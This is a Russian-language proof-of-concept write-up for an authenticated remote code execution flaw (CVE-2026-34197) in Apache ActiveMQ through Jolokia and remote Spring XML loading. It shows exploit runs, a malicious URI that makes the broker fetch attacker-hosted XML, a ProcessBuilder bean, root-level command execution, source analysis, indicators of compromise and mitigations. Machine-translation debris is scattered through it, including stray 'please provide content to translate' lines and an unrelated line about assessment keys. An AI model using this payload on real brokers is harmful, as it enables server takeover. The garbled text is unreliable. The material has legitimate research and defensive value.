
Доказательство концепции эксплуатации для CVE-2026-34197, демонстрирующее аутентифицированное удалённое выполнение кода в Apache ActiveMQ через мост Jolokia JMX-HTTP и внедрение Spring XML-бина.
Описание
Недостаточная проверка входных данных, неконтролируемая генерация кода (‘Code Injection’) уязвимость в Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic предоставляет мост Jolokia JMX-HTTP по адресу /api/jolokia/ в веб-консоли. Политика доступа Jolokia по умолчанию разрешает операции exec для всех MBean ActiveMQ (org.apache.activemq:*), включая BrokerService.addNetworkConnector(String) и BrokerService.addConnector(String). Прошедший аутентификацию злоумышленник может вызвать эти операции с помощью специально сформированного discovery URI, который заставляет параметр brokerConfig транспорта VM загрузить удалённый контекст приложения Spring XML с помощью ResourceXmlApplicationContext. Поскольку ResourceXmlApplicationContext из Spring создаёт все singleton-бины до того, как BrokerService проверит конфигурацию, происходит выполнение произвольного кода в JVM брокера через методы фабрики бинов, такие как Runtime.exec(). Эта проблема затрагивает Apache ActiveMQ Broker: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ All: до 5.19.4, с 6.0.0 до 6.2.3; Apache ActiveMQ: до 5.19.4, с 6.0.0 до 6.2.3. Пользователям рекомендуется обновиться до версии 5.19.4 или 6.2.3, в которой исправлена эта проблема.
Дополнительная информация: link
Github: link```bash ❯ docker compose up -d
Входной текст (INPUT) отсутствует — переводить нечего. Пожалуйста, укажите содержимое чанка 3, и я выполню перевод.```bash
❯ python3 exploit_poc.py auto \
--target http://localhost:8161 \
--lhost 192.168.1.32 --lport 9999 \
--cmd "touch /tmp/blahblah.txt"
======================================================================
CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
For authorized security testing and research only.
======================================================================
[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
"request": {
"mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
"arguments": [
"static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
],
"type": "exec",
"operation": "addNetworkConnector(java.lang.String)"
},
"value": "NC",
"timestamp": 1775616523,
"status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.
LHOST — это частный IP-адрес компьютера. Вы можете использовать ipconfig в Windows или ifconfig в Linux
Проверка RCE```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
=> RCE успешно выполнен, файл `blahblah.txt` был создан на целевой системе.
# Фаза анализа
## Динамический анализ```bash
❯ docker exec activemq-vuln java -version
openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)
❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar
Журналы выполнения также подтвердили, что Jolokia была включена и доступна через веб-консоль ActiveMQ:```bash INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Проверьте подключение```bash
❯ curl -i -u admin:admin \
-H 'Origin: http://localhost:8161' \
http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked
{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}
Это означает:
Чтобы прочитать журналы```bash docker logs activemq-vuln > activemq-rce.log
Затем найдите чистую цепочку с помощью grep```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)
После отправки полезной нагрузки```bash INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Эта строка критически важна, поскольку она подтверждает, что управляемый атакующим URI, переданный через:```java
BrokerView.addNetworkConnector(String)
достиг транспортного уровня VM без санитизации.
Вредоносный URI, использованный при эксплуатации:```text static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
This URI contains two important parts:
| Component | Purpose |
| --------------- | ------------------------------------------------- |
| `static:(...)` | Обёртка, используемая коннекторами обнаружения ActiveMQ |
| `vm://evil?...` | URI транспорта VM, обрабатываемый внутри ActiveMQ |
The `static:(...)` wrapper itself is not the vulnerable component. Its purpose is to pass the enclosed transport URI into ActiveMQ's network connector subsystem.
During runtime execution, ActiveMQ extracted and processed the inner VM transport URI:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Это поведение было подтверждено в журналах выполнения:```text INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Параметр `brokerConfig=` является критической частью полезной нагрузки. Он предписывал транспортному уровню VM динамически создать экземпляр брокера, используя внешнюю конфигурацию Spring xbean, загружаемую из:```text
http://192.168.1.32:9999/evil.xml
Префикс xbean: заставлял ActiveMQ делегировать обработку XML-загрузчику контекста приложения Spring:```text
org.apache.xbean.spring.context.ResourceXmlApplicationContext
В результате удалённый XML-документ был разобран и создан как контекст приложения Spring внутри JVM брокера.
Вредоносный XML содержал следующий Spring-бин:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
Это определение бина предписало Spring создать экземпляр объекта ProcessBuilder и немедленно вызвать его метод start() во время инициализации контекста приложения.
Эксплойт использовал следующую команду:```bash touch /tmp/blahblah.txt
Поскольку Spring немедленно создаёт синглтон-бины во время инициализации контекста, метод `ProcessBuilder.start()` выполнялся до того, как ActiveMQ проверял, безопасна ли и валидна ли сама конфигурация брокера.
Это приводило к выполнению произвольных команд на целевом контейнере.
Эксплойт был подтверждён проверкой каталога `/tmp` внутри контейнера ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp
total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root
Метаданные файла дополнительно подтвердили успешное выполнение команды:```bash ❯ docker exec activemq-vuln stat /tmp/blahblah.txt
File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35
Это доказывает, что произвольные команды операционной системы были успешно выполнены в контексте контейнера ActiveMQ.
Трассировка стека времени выполнения также выявила полный путь выполнения уязвимости:```text
BrokerView.addNetworkConnector()
->
VMTransportFactory.doCompositeConnect()
->
BrokerFactory.createBroker()
->
XBeanBrokerFactory.createApplicationContext()
->
ResourceXmlApplicationContext
->
XmlBeanDefinitionReader.loadBeanDefinitions()
->
Spring bean instantiation
->
ProcessBuilder.start()
->
OS command execution
Во время анализа времени выполнения наблюдались следующие записи стек-трейса:```text at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388)
at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125)
at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71)
at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67)
at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104)
at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116)
at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342)
Одним из наиболее важных наблюдений во время динамического анализа был порядок, в котором Spring и ActiveMQ обработали вредоносную конфигурацию.
После успешного выполнения полезной нагрузки ActiveMQ позднее сгенерировал следующее предупреждение:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml
Это поведение демонстрирует, что:```text Spring bean instantiation occurred before ActiveMQ validated the broker configuration.
Несмотря на то, что сама конфигурация брокера в конечном итоге была отклонена, вредоносный Spring-бин уже был создан и выполнен.
Эта проблема порядка выполнения является основной логической ошибкой, лежащей в основе CVE-2026-34197.
Динамический анализ выявил следующие компоненты, участвующие в цепочке эксплуатации:
| Компонент | Роль |
| ----------------------------- | ---------------------------------- |
| Jolokia | HTTP-мост к JMX |
| BrokerView | Открытый управляющий MBean |
| VMTransportFactory | Разбирает транспортный URI `vm://` |
| BrokerFactory | Создаёт экземпляр брокера |
| XBeanBrokerFactory | Загружает конфигурацию Spring xbean |
| ResourceXmlApplicationContext | Загружает удалённый XML |
| XmlBeanDefinitionReader | Разбирает определения Spring-бинов |
| Spring BeanFactory | Создаёт экземпляры синглтон-бинов |
| ProcessBuilder | Выполняет команды операционной системы |
Динамический анализ подтверждает, что CVE-2026-34197 вызвана взаимодействием следующих факторов:
* Чрезмерно разрешительные управляющие операции Jolokia
* Контролируемые атакующим транспортные URI
* Автоматическое создание брокера VM-транспорта
* Удалённая загрузка конфигурации Spring xbean
* Немедленное создание синглтон-бинов до проверки
В результате аутентифицированный атакующий может добиться выполнения произвольного кода в JVM ActiveMQ, передав вредоносный URI `brokerConfig=xbean:http://...` через операцию `addNetworkConnector()`, доступную через Jolokia.
### Обзор архитектуры
Apache ActiveMQ Classic предоставляет управляющий интерфейс через мост Jolokia JMX-HTTP, доступный по адресу:```text id="n0vmrq"
/api/jolokia/
Jolokia действует как HTTP-to-JMX мост, позволяя аутентифицированным пользователям удалённо вызывать операции Java Management Extensions (JMX) через HTTP.
Уязвимый путь архитектуры, выявленный в ходе анализа, показан ниже:```text id="yavj0f" HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution
| Component | Function |
| --------------------- | -------------------------------------------- |
| Jolokia | Предоставляет операции JMX через HTTP |
| BrokerView | Интерфейс управления MBean |
| VMTransportFactory | Обрабатывает URI транспорта `vm://` |
| BrokerFactory | Динамически создаёт брокеры |
| XBeanBrokerFactory | Загружает конфигурации Spring xbean |
| Spring Context Loader | Разбирает и создаёт экземпляры определений XML-бинов |
| ProcessBuilder | Выполняет команды операционной системы |
Архитектура становится уязвимой, потому что ActiveMQ позволяет аутентифицированным пользователям вызывать опасные методы управления брокером с URI транспорта, контролируемыми атакующим.
---
### Анализ поверхности атаки
Основная поверхность атаки — это HTTP-эндпоинт Jolokia, доступный через веб-консоль ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/
Runtime analysis confirmed that the Jolokia interface was enabled by default:```text id="y7qz5e" INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/
Конечная точка Jolokia принимала аутентифицированные запросы с использованием HTTP Basic Authentication:```json id="13tzmx"
"authMode":"basic"
Была обнаружена следующая опасная операция управления:```java id="pxqv10" BrokerView.addNetworkConnector(String)
Этот метод принимает управляемый пользователем транспортный URI без достаточного ограничения опасных схем URI или параметров конфигурации.
Злоумышленник предоставил следующий payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
Эта полезная нагрузка злоупотребляла несколькими функциями одновременно:
| Feature | Abuse |
|---|---|
addNetworkConnector() | Принимает URI, контролируемый атакующим |
vm:// транспорт | Запускает динамическое создание брокера |
brokerConfig= | Загружает произвольную конфигурацию брокера |
xbean: | Вызывает загрузчик XML Spring |
| Удалённый HTTP URL | Получает XML, контролируемый атакующим |
Таким образом, поверхность атаки включает:
Уязвимость вызвана взаимодействием нескольких доверенных подсистем внутри ActiveMQ.
Основная проблема в том, что аутентифицированные пользователи Jolokia имеют право вызывать опасные операции управления брокером с URI транспорта, контролируемыми атакующим.
Уязвимый поток выполнения, выявленный при анализе во время выполнения, выглядит следующим образом:```text id="m57h1r" Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation
Критическим параметром является:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml
Этот параметр указывает транспортному уровню VM динамически создавать брокер с использованием внешней конфигурации Spring xbean.
Следующие свидетельства времени выполнения подтвердили это поведение:```text id="74y0rw" INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml
Затем Spring загрузил удалённый XML через:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext
Вредоносный XML содержал:```xml id="y6jphd"
Во время инициализации контекста Spring-приложения синглтон-бины создаются немедленно. В результате метод `ProcessBuilder.start()` выполнился сразу.
Ключевой логический недостаток заключается в том, что создание Spring-бина произошло до того, как ActiveMQ проверил, является ли сама конфигурация брокера безопасной или допустимой.
Это поведение было доказано динамически, поскольку:
1. Вредоносная полезная нагрузка успешно создала `/tmp/blahblah.txt`
2. ActiveMQ позже отклонил конфигурацию брокера, выдав:```text id="6k1dwn"
The configuration has no BrokerService instance
Это демонстрирует, что выполнение кода произошло до завершения проверки брокером.
Потенциальные индикаторы компрометации включают подозрительные запросы Jolokia, направленные на операции управления ActiveMQ.
Ищите запросы, вызывающие:```text id="c56p2k" addNetworkConnector addConnector
через:```text id="pt2n3d"
/api/jolokia/
Следующие фрагменты URI являются явными признаками попыток эксплуатации:```text id="n9jlwm" vm:// brokerConfig= xbean: static:(
Пример вредоносного payload:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)
Брокер может инициировать исходящие запросы к инфраструктуре, контролируемой атакующим:```text id="f5g9kx" http://attacker/evil.xml
Неожиданный исходящий HTTP-трафик из JVM брокера должен быть расследован.
#### Подозрительные журналы выполнения
Следующие сообщения во время выполнения подозрительны:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil
outpost24-dev: следующие значения являются единственными допустимыми ключами для объекта верхнего уровня assess:
P.S. Я призываю вас внести свой вклад в этот проект с открытым исходным кодом. Будь то исправление ошибок, добавление новых функций или просто улучшение документации, каждый вклад ценен. Напишите мне, если хотите предложить функции, сообщить об ошибках или обсудить что-либо, я открыт для сотрудничества.```text id="3q2vls" ResourceXmlApplicationContext
Please provide the Markdown content to translate.```text id="jzsk0g"
XmlBeanDefinitionReader.loadBeanDefinitions
Неожиданные файлы в:```text id="6x7qcm" /tmp/
или подозрительное выполнение дочерних процессов из JVM ActiveMQ может указывать на эксплуатацию.
---
### Анализ воздействия
Успешная эксплуатация позволяет аутентифицированное удалённое выполнение кода в контексте JVM ActiveMQ.
В проанализированной среде произвольные команды операционной системы успешно выполнялись внутри контейнера:```bash id="2hyz0w"
touch /tmp/blahblah.txt
Результат:```text id="rm2qfd" /tmp/blahblah.txt
Файл был создан как:```text id="9phgkz"
Uid: (0/root)
Это указывает на то, что выполнение команд было осуществлено с привилегиями root внутри контейнера.
Потенциальное воздействие включает:
| Воздействие | Описание |
|---|---|
| Удаленное выполнение кода | Выполнение произвольных команд |
| Компрометация контейнера | Полная компрометация контейнера ActiveMQ |
| Кража учетных данных | Доступ к учетным данным и секретам брокера |
| Горизонтальное перемещение | Переход к соседним системам |
| Закрепление | Создание вредоносных сетевых коннекторов |
| Раскрытие данных | Доступ к сообщениям и очередям брокера |
Серьезность значительно возрастает, если:
Обновите ActiveMQ Classic до:```text id="8w0j6k" 5.19.4 or later 6.2.3 or later
#### Ограничьте доступ к Jolokia
Отключите Jolokia, если он не требуется.
Если Jolokia должен оставаться включённым:
* Ограничьте доступ только доверенными административными сетями
* Применяйте строгую аутентификацию
* Отключите опасные операции exec
* Применяйте строгие политики доступа к Jolokia
#### Удалите учётные данные по умолчанию
Не используйте:```text id="9mw1xv"
admin:admin
Предотвратите инициацию брокером произвольных исходящих HTTP-соединений.
Это снижает риск попыток удалённого получения XML.
Ограничьте или отключите:
vm://xbean:Отслеживайте:
/api/jolokia/addNetworkConnectorbrokerConfig=xbean:Уязвимый путь проходит через веб/JMX-уровень управления ActiveMQ, сетевой уровень брокера, VM-транспорт, подсистему фабрики брокера и загрузку конфигурации Spring XBean.
Jolokia включён в веб-API-приложении ActiveMQ:```xml
BrokerView: фасад управления брокером, ориентированный на JMX. Он предоставляет addNetworkConnector(String) и addConnector(String).BrokerService: объект среды выполнения брокера. Он преобразует строковый адрес сетевого коннектора в URI и создаёт DiscoveryNetworkConnector.DiscoveryNetworkConnector: использует агент обнаружения для получения URI служб удалённых брокеров, а затем подключается к каждому обнаруженному URI.TransportFactory: разрешает схему URI в фабрику транспорта с помощью META-INF/services/org/apache/activemq/transport/<scheme>.VMTransportFactory: обрабатывает транспорты vm:// и может автоматически создавать встроенный брокер, если запрошенный VM-брокер не существует.BrokerFactory: разрешает схему URI конфигурации брокера с помощью META-INF/services/org/apache/activemq/broker/<scheme>.XBeanBrokerFactory: обрабатывает URI конфигурации брокера xbean: и создаёт контекст приложения Spring/XBean.ResourceXmlApplicationContext: загружает XML-ресурс и выполняет обновление фабрики Spring-бинов, включая немедленное создание синглтонов.Уязвимость существует из-за того, что метод управления принимает язык URI ActiveMQ, который не является пассивными данными. При вычислении URI он может создавать брокеры и загружать Spring XML-конфигурацию.
Уязвимая точка входа:```java // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); }
Интерфейс MBean предоставляет операцию как:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java
@MBeanInfo("Adds a Network Connector to the broker.")
String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception;
Контролируемые атакующим входные данные — это аргумент Jolokia exec, передаваемый в discoveryAddress. В уязвимой версии BrokerView.addNetworkConnector() не выполняет проверку схемы, не проверяет вложенные URI и не фильтрует параметры, специфичные для транспорта, перед передачей строки в BrokerService.
BrokerService преобразует строку напрямую в URI:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
return addNetworkConnector(new URI(discoveryAddress));
}
public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); }
Затем объект коннектора настраивается с URI локального брокера и добавляется к брокеру:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception {
connector.setBrokerService(this);
connector.setLocalUri(getVmConnectorURI());
...
networkConnectors.add(connector);
return connector;
}
Управление передаётся подсистеме транспорта, когда BrokerView запускает коннектор:```java
connector.start();
Для URI эксплойта:```text
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)
static:(...) создаёт статический коннектор обнаружения, а внутренний URI vm://... становится обнаруженной удалённой службой.
Транспорт VM разрешается через:```properties
class=org.apache.activemq.transport.vm.VMTransportFactory
Уязвимый метод:```java
// activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java
public Transport doCompositeConnect(URI location) throws Exception
Метод разбирает URI vm://, извлекает параметры запроса и рассматривает brokerConfig как URI создания брокера:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
} else {
Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
brokerURI = new URI("broker://()/" + host + "?"
+ URISupport.createQueryString(brokerOptions));
}
Параметр `create` по умолчанию имеет значение `true`:```java
boolean create = true;
...
if ("false".equals(options.remove("create"))) {
create = false;
}
Если брокер для запрошенного VM-хоста не существует, VMTransportFactory создаёт его:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
if (!create) {
throw new IOException("Broker named '" + host + "' does not exist.");
}
try {
if (brokerFactoryHandler != null) {
broker = brokerFactoryHandler.createBroker(brokerURI);
} else {
broker = BrokerFactory.createBroker(brokerURI);
}
broker.start();
MDC.put("activemq.broker", broker.getBrokerName());
} catch (URISyntaxException e) {
throw IOExceptionSupport.create(e);
}
BROKERS.put(host, broker);
BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}
Это нарушение границы привилегий на транспортном уровне. URI, переданный через плоскость управления, интерпретируется транспортом VM как инструкция создать брокер из произвольного URI конфигурации.
Оставшаяся проверка параметров выполняется после создания брокера:```java
if (!options.isEmpty()) {
throw new IllegalArgumentException("Invalid connect parameters: " + options);
}
return transport;
Эта проверка не может предотвратить выполнение кода через brokerConfig, поскольку brokerConfig уже был удалён из options и использован до того, как эта проверка выполняется.
Путь обнаружения апстрима:```java // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri);
Для `static:(...)`, `SimpleDiscoveryAgent.start()` немедленно эмитирует каждый сконфигурированный сервис:```java
// activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java
public void start() throws Exception {
taskRunner = new TaskRunnerFactory();
taskRunner.init();
running.set(true);
for (int i = 0; i < services.length; i++) {
listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}
}
DiscoveryNetworkConnector.onServiceAdd() затем подключается к управляемому атакующим внутреннему URI.
Создание брокера обрабатывается:```java // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); }
public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; }
Поиск обработчика основан на схеме:```java
private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException {
try {
return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type);
} catch (Throwable e) {
throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e);
}
}
Для URI xbean: дескриптор службы сопоставляется с XBeanBrokerFactory:```properties
class=org.apache.activemq.xbean.XBeanBrokerFactory
Точный статический поток вызовов:```text
BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.<init>(URI)
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> BrokerFactory.createBroker(URI, boolean)
-> XBeanBrokerFactory.createBroker(URI)
Ключевой переход:```text vm://evil?brokerConfig=xbean:http://attacker/evil.xml
Кому:```text
BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml"))
Соответствующая фабрика XBean:```java // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler
`createBroker()` извлекает часть URI `xbean:`, специфичную для схемы, и создаёт контекст приложения Spring перед проверкой, содержит ли он брокер:```java
public BrokerService createBroker(URI config) throws Exception {
String uri = config.getSchemeSpecificPart();
if (uri.lastIndexOf('?') != -1) {
IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri));
uri = uri.substring(0, uri.lastIndexOf('?'));
}
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...
}
Опасный sink — это createApplicationContext():```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
Resource resource = Utils.resourceFromString(uri);
LOG.debug("Using " + resource + " from " + uri);
try {
return new ResourceXmlApplicationContext(resource) {
@Override
protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
reader.setValidating(isValidate());
}
};
} catch (FatalBeanException errorToLog) {
LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
Удалённые ресурсы принимаются функцией `Utils.resourceFromString()`:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
